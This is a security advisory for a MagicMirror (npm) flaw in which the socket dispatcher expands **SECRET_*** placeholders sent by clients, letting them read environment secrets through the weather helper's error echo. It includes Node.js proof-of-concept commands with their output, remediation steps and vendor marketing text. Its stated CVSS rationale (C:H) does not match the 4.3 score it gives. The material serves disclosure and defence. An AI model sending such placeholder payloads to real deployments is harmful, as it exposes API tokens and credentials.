Summary
MagicMirror socket payload secret placeholder expansion can disclose SECRET_* environment variables
When hideConfigSecrets: true is enabled, MagicMirror redacts SECRET_* environment placeholders in the HTTP /config response, but the shared node-helper socket dispatcher expands **SECRET_NAME** placeholders in every inbound socket payload before passing it to module helpers. Any client that can connect to a loaded module namespace can send a placeholder such as **SECRET_API_KEY** and cause the server to substitute the real environment variable into the helper payload. Helpers that echo attacker-controlled payload fields, such as the default weather helper error path, can return the secret value to the socket client.
Details
The affected product is the npm package/application magicmirror at version 2.36.0, tested at commit fb41d24ef522e91e802e2a623ff6afbddeb3c9d8 from https://github.com/MagicMirrorOrg/MagicMirror.git.
The secret-redaction feature is implemented during config loading:
js/utils.js:117-123loads aconfig.envfile next to the config file intoprocess.envwhen present.js/utils.js:130-151creates both a full config and a redacted config.js/utils.js:137-140redacts environment variables whose names start withSECRET_to**SECRET_NAME**in the redacted config whenhideConfigSecrets: trueis present.js/server.js:112-125returns eitherconfigObj.redactedConforconfigObj.fullConffrom/configdepending onconfig.hideConfigSecrets.
The disclosure root cause is the inbound socket dispatcher:
js/node_helper.js:88-103registers a catch-all handler for each module namespace.js/node_helper.js:91-99checksconfig?.hideConfigSecretsand, for every inbound object payload, runsreplaceSecretPlaceholder(JSON.stringify(payload))before invokingsocketNotificationReceived(...).js/server_functions.js:23-34implementsreplaceSecretPlaceholder(...)by replacing**SECRET_* **-style placeholders withprocess.env[...], unlessglobal.config.cors === "allowAll".
This reverses the redaction boundary: redacted placeholders intended for the browser can be sent back to the server and expanded into real environment secret values inside helper payloads.
A confirmed echo path exists in the default weather helper:
defaultmodules/weather/node_helper.js:12-19acceptsINIT_WEATHERfrom the socket.defaultmodules/weather/node_helper.js:27-31copiesconfig.instanceIdfrom the attacker-controlled payload.defaultmodules/weather/node_helper.js:47-52attempts to dynamically load the requested weather provider.defaultmodules/weather/node_helper.js:86-91catches errors and sendsWEATHER_ERRORwith the sameinstanceIdback to the namespace.
False-positive screening performed:
- This is not a generic environment leak through
/env;js/server_functions.js:221-240returns only selected client environment paths. - The HTTP
/configroute does redact placeholders whenhideConfigSecrets: true; the issue is that the inbound socket path expands those placeholders again before module helper code runs. replaceSecretPlaceholder(...)intentionally refuses substitution whenglobal.config.cors === "allowAll"(js/server_functions.js:29-34); the positive PoC usedcors: "disabled", which is the shipped default (js/defaults.js:14). A negative control with no substitution produced the placeholder unchanged.- The attacker must know or infer a
SECRET_*variable name. If the attacker can read the redacted/configresponse, placeholder names may be disclosed even when values are hidden. The PoC uses a knownSECRET_MM_AUDITtest variable. - Network reachability follows the Socket.IO exposure model. With the shipped default
address: "localhost"and loopbackipWhitelist, remote network reachability is limited. In documented non-loopback deployments, this combines with the Socket.IO access-control gap described separately.
Affected-version evidence: only [email protected] at commit fb41d24ef522e91e802e2a623ff6afbddeb3c9d8 was tested. The affected range is unknown from this audit; earlier versions were not tested. No patched version or fix commit was identified locally.
PoC
The following safe local PoC was run from a clean checkout of MagicMirror at commit fb41d24ef522e91e802e2a623ff6afbddeb3c9d8. Because node_modules were not installed in this audit environment and package.json:52 has a destructive postinstall, the command uses dependency stubs while executing the vulnerable repository dispatcher and weather helper code. It writes no files and does not contact external services.
Positive trigger:
node -e 'const Module=require("module"); const orig=Module._load; Module._load=(r,p,m)=>{ if(r==="express") return { static:()=>()=>{} }; if(r==="logger") return {log(){},error(){},warn(){},info(){},debug(){}}; if(r==="#server_functions") return {replaceSecretPlaceholder:(input)=>input.replaceAll(/\*\*(SECRET_[^*]+)\*\*/g,(_m,g)=>process.env[g])}; return orig(r,p,m); }; require("./js/alias-resolver"); global.root_path=process.cwd(); global.config={hideConfigSecrets:true,cors:"disabled"}; process.env.SECRET_MM_AUDIT="secret-marker-42"; const Weather=require("./defaultmodules/weather/node_helper"); const helper=new Weather(); helper.setName("weather"); const sent=[]; helper.sendSocketNotification=(n,p)=>sent.push({n,p}); let onAny; const fakeIo={of(){return {on(_ev,cb){const socket={onAny(fn){onAny=fn;}}; cb(socket);}};}}; helper.setSocketIO(fakeIo); Promise.resolve(onAny("INIT_WEATHER",{instanceId:"**SECRET_MM_AUDIT**",weatherProvider:"definitely-not-a-provider",type:"current"})).then(()=>setTimeout(()=>{console.log(JSON.stringify(sent));},10));'
Observed output:
[{"n":"WEATHER_ERROR","p":{"instanceId":"secret-marker-42","error":"Cannot find module '/home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/providers/definitely-not-a-provider.js'\nRequire stack:\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/node_helper.js\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/[eval]"}}]
Expected vulnerable output: the weather error payload returned by the helper contains "instanceId":"secret-marker-42", proving the server substituted the SECRET_MM_AUDIT environment variable into an attacker-controlled socket payload and returned it to the client.
Negative/control trigger simulating no inbound placeholder substitution:
node -e 'const Module=require("module"); const orig=Module._load; Module._load=(r,p,m)=>{ if(r==="express") return { static:()=>()=>{} }; if(r==="logger") return {log(){},error(){},warn(){},info(){},debug(){}}; if(r==="#server_functions") return {replaceSecretPlaceholder:(input)=>input}; return orig(r,p,m); }; require("./js/alias-resolver"); global.root_path=process.cwd(); global.config={hideConfigSecrets:true,cors:"allowAll"}; process.env.SECRET_MM_AUDIT="secret-marker-42"; const Weather=require("./defaultmodules/weather/node_helper"); const helper=new Weather(); helper.setName("weather"); const sent=[]; helper.sendSocketNotification=(n,p)=>sent.push({n,p}); let onAny; const fakeIo={of(){return {on(_ev,cb){const socket={onAny(fn){onAny=fn;}}; cb(socket);}};}}; helper.setSocketIO(fakeIo); Promise.resolve(onAny("INIT_WEATHER",{instanceId:"**SECRET_MM_AUDIT**",weatherProvider:"definitely-not-a-provider",type:"current"})).then(()=>setTimeout(()=>{console.log(JSON.stringify(sent));},10));'
Observed control output:
[{"n":"WEATHER_ERROR","p":{"instanceId":"**SECRET_MM_AUDIT**","error":"Cannot find module '/home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/providers/definitely-not-a-provider.js'\nRequire stack:\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/node_helper.js\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/[eval]"}}]
Expected control output: the placeholder remains **SECRET_MM_AUDIT**, showing that the positive case depends on the vulnerable server-side placeholder expansion step.
Final repro re-check: both the positive and negative harnesses were re-run after drafting, and the observed outputs above are from this environment. No cleanup was required.
Suggested remediation
Do not expand SECRET_* placeholders in inbound socket payloads. The redaction boundary should be one-way: server-to-client responses may contain placeholders, but client-to-server messages must not be treated as authority to retrieve real environment values.
Concrete fixes:
- Remove the
replaceSecretPlaceholder(JSON.stringify(payload))call fromjs/node_helper.js:91-99for inbound socket payloads. - If a specific module legitimately needs secret material, resolve it only from server-loaded trusted configuration, not from client-supplied placeholders.
- Keep
hideConfigSecretsredaction for/config, but avoid disclosing placeholder names to clients when not necessary. - Add regression tests that set
hideConfigSecrets: trueandSECRET_TEST=value, send a socket payload containing**SECRET_TEST**, and assert that every helper receives/returns the literal placeholder rather than the secret value.
Impact
Any client that can connect to a module Socket.IO namespace can disclose SECRET_* environment variables by sending known placeholder names in object payloads that are expanded by js/node_helper.js before helper processing. This undermines the purpose of hideConfigSecrets: true: secrets are hidden in the HTTP config response but can be converted back into their real values through inbound socket payloads.
The confidentiality impact depends on what the deployment stores under SECRET_* variables. MagicMirror configurations commonly include API tokens, calendar credentials, service keys, or network allowlist values in config/environment variables. The PoC proves disclosure of a test secret through a default helper echo path.
CVSS 3.1 rationale: AV:A because MagicMirror is intended for trusted local/private networks and remote exploitation requires a reachable local/private-network deployment; AC:L because once namespace access is available the attacker only needs a known or guessed SECRET_* name and an invalid weather provider to trigger the echo; PR:N because no application authentication is required; UI:N because the attacker sends socket messages directly; S:U because the impact is disclosure of secrets from the vulnerable application's own process environment; C:H because environment secrets can include credentials/API tokens; I:N/A:N because this report proves disclosure only.
CVE-2026-63640 has a CVSS score of 4.3 (Medium). The vector is reachable from an adjacent network, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.37.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-63640? CVE-2026-63640 is a medium-severity security vulnerability in magicmirror (npm), affecting versions < 2.37.0. It is fixed in 2.37.0.
- How severe is CVE-2026-63640? CVE-2026-63640 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of magicmirror are affected by CVE-2026-63640? magicmirror (npm) versions < 2.37.0 is affected.
- Is there a fix for CVE-2026-63640? Yes. CVE-2026-63640 is fixed in 2.37.0. Upgrade to this version or later.
- Is CVE-2026-63640 exploitable, and should I be worried? Whether CVE-2026-63640 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-63640 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-63640? Upgrade
magicmirrorto 2.37.0 or later.